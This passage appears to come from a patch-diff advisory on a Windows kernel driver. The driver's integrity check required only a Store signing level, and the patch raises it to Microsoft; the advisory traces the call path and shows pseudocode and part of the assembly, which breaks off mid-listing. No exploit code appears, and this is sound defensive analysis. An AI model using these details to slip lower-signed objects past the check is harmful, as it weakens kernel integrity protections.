&lt;h3&gt;Finding 1 — Insufficient required signing level&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability class:&lt;/strong&gt; Improper verification of cryptographic signature / insufficient required signing level (CWE-347)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected function:&lt;/strong&gt; &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; @ &lt;code&gt;0x1C00081B8&lt;/code&gt; (unpatched) / &lt;code&gt;0x1C0008178&lt;/code&gt; (patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root cause.&lt;/strong&gt;
&lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; builds a small descriptor on the stack and passes it to a function pointer held in &lt;code&gt;qword_1C0007008&lt;/code&gt;. That pointer is an OS-supplied kernel-integrity callback: it is captured by the driver's own &lt;code&gt;SecKernelIntegrityCallback&lt;/code&gt; (&lt;code&gt;0x1C0001080&lt;/code&gt;), which stores the callback's &lt;code&gt;Argument1&lt;/code&gt; into &lt;code&gt;qword_1C0007008&lt;/code&gt; and hands back &lt;code&gt;&amp;amp;SecProtectedRanges&lt;/code&gt;. The callback object is created and registered during driver initialization via &lt;code&gt;ExCreateCallback&lt;/code&gt;/&lt;code&gt;ExRegisterCallback&lt;/code&gt;. One field in the descriptor — the required signing level — is a hard-coded constant.&lt;/p&gt;
&lt;p&gt;In the unpatched binary the constant is &lt;code&gt;0xA000006&lt;/code&gt;:
- Low byte &lt;code&gt;0x06&lt;/code&gt; = &lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt;.
- High bits &lt;code&gt;0x0A000000&lt;/code&gt; are an additional flags/mode qualifier carried in the same field.&lt;/p&gt;
&lt;p&gt;The patched binary uses &lt;code&gt;0xA000008&lt;/code&gt;:
- Low byte &lt;code&gt;0x08&lt;/code&gt; = &lt;code&gt;SE_SIGNING_LEVEL_MICROSOFT&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The documented Windows signing-level constants place &lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt; at &lt;code&gt;0x06&lt;/code&gt; and &lt;code&gt;SE_SIGNING_LEVEL_MICROSOFT&lt;/code&gt; at &lt;code&gt;0x08&lt;/code&gt;; &lt;code&gt;SE_SIGNING_LEVEL_WINDOWS&lt;/code&gt; is &lt;code&gt;0x0C&lt;/code&gt; and &lt;code&gt;SE_SIGNING_LEVEL_WINDOWS_TCB&lt;/code&gt; is &lt;code&gt;0x0E&lt;/code&gt;. This driver corroborates the numbering: &lt;code&gt;SecIsWindowsSigned&lt;/code&gt; (&lt;code&gt;0x1C000855C&lt;/code&gt;) uses &lt;code&gt;SeCompareSigningLevels&lt;/code&gt; against level &lt;code&gt;0x0C&lt;/code&gt; for its "Windows" comparison.&lt;/p&gt;
&lt;p&gt;Because the unpatched driver requires only &lt;code&gt;SE_SIGNING_LEVEL_STORE&lt;/code&gt;, the integrity check admits an object signed at the lower Store level; the patched driver requires the higher Microsoft level. The fix is a one-constant bump: &lt;code&gt;0xA000008&lt;/code&gt; in place of &lt;code&gt;0xA000006&lt;/code&gt;. No new branch, no sanitizer, no allocation change.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Reachable entry point and data flow.&lt;/strong&gt;&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;SecBindHost&lt;/code&gt; (&lt;code&gt;0x1C00010B0&lt;/code&gt;, exported) validates the caller (via &lt;code&gt;SecValidateDriverFileSignatureLevel&lt;/code&gt; → &lt;code&gt;SecIsWindowsSigned&lt;/code&gt;, plus range and lock checks) and, on success, populates the caller-supplied binding table. It writes &lt;code&gt;off_1C0004008[0]&lt;/code&gt; into the table at offset &lt;code&gt;+0x8&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;off_1C0004008&lt;/code&gt; (in &lt;code&gt;.data&lt;/code&gt; at &lt;code&gt;0x1C0004008&lt;/code&gt;) holds the address &lt;code&gt;0x1C0001650&lt;/code&gt; = &lt;code&gt;SecDispatchKernelIntegrityCheck&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;A bound host that invokes that table entry calls &lt;code&gt;SecDispatchKernelIntegrityCheck&lt;/code&gt; (&lt;code&gt;0x1C0001650&lt;/code&gt;), a thin wrapper (&lt;code&gt;sub rsp,0x28; call SecKernelIntegrityCheck; add rsp,0x28; ret&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;→ &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; builds the descriptor with the required signing level and calls the OS callback in &lt;code&gt;qword_1C0007008&lt;/code&gt; through the CFG dispatch stub &lt;code&gt;__guard_dispatch_icall_fptr&lt;/code&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Note that reaching this callback already requires the caller to have passed &lt;code&gt;SecBindHost&lt;/code&gt;'s own Windows-signed gate and to be the registered kernel client, so the constant is a defense-in-depth trust gate rather than a first-line boundary.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;p&gt;Only one function is security-relevant; the change is a single constant:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// SecKernelIntegrityCheck  (unpatched 0x1C00081B8  -&amp;gt;  patched 0x1C0008178)&lt;/span&gt;

&lt;span class="c1"&gt;// Validation gates (identical in both)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;SecIsKernelIntegrityEnabled&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00000BB&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_NOT_SUPPORTED&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;6&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00000EF&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER_1&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00000F1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER_3&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00000F0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_INVALID_PARAMETER_2&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;KeAreApcsDisabled&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00000BB&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_NOT_SUPPORTED&lt;/span&gt;

&lt;span class="c1"&gt;// Build the descriptor at v8 / [rbp-0x19]&lt;/span&gt;
&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// Size&lt;/span&gt;

&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-------------------------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0A000006&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// low byte 0x06 = SE_SIGNING_LEVEL_STORE   &amp;lt;&amp;lt;&amp;lt; weaker&lt;/span&gt;
&lt;span class="o"&gt;---------------------------------------------------------------------&lt;/span&gt;

&lt;span class="o"&gt;----&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;---------------------------------------------------------&lt;/span&gt;
&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x0A000008&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// low byte 0x08 = SE_SIGNING_LEVEL_MICROSOFT  &amp;lt;&amp;lt;&amp;lt; fix&lt;/span&gt;
&lt;span class="o"&gt;---------------------------------------------------------------------&lt;/span&gt;

&lt;span class="n"&gt;LODWORD&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x80000&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// flags&lt;/span&gt;
&lt;span class="c1"&gt;// binding type (a1) and the object pointer (a2, or a3 when a2==0) are stored later&lt;/span&gt;
&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;7&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// Retry loop: repeat while the callback returns STATUS_MORE_PROCESSING_REQUIRED&lt;/span&gt;
&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;fn&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;qword_1C0007008&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// call via __guard_dispatch_icall_fptr&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC0000016&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 0xC0000016 = STATUS_MORE_PROCESSING_REQUIRED&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="n"&gt;v6&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The only behavioral change is the value assigned to the required signing-level field.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Unpatched — &lt;code&gt;SecKernelIntegrityCheck&lt;/code&gt; @ &lt;code&gt;0x1C00081B8&lt;/code&gt; (full)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081B8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081BB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081BF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081C3&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081C7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081CB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081CC&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax-5Fh&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;90&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081D7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__security_cookie&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081DE&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081E1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_8&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081E5&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;; a2 = object&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="c1"&gt;; a3 = secondary object&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081EB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081ED&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="c1"&gt;; a1 = binding type&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081F0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_30&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081F4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081F8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C00081FD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;
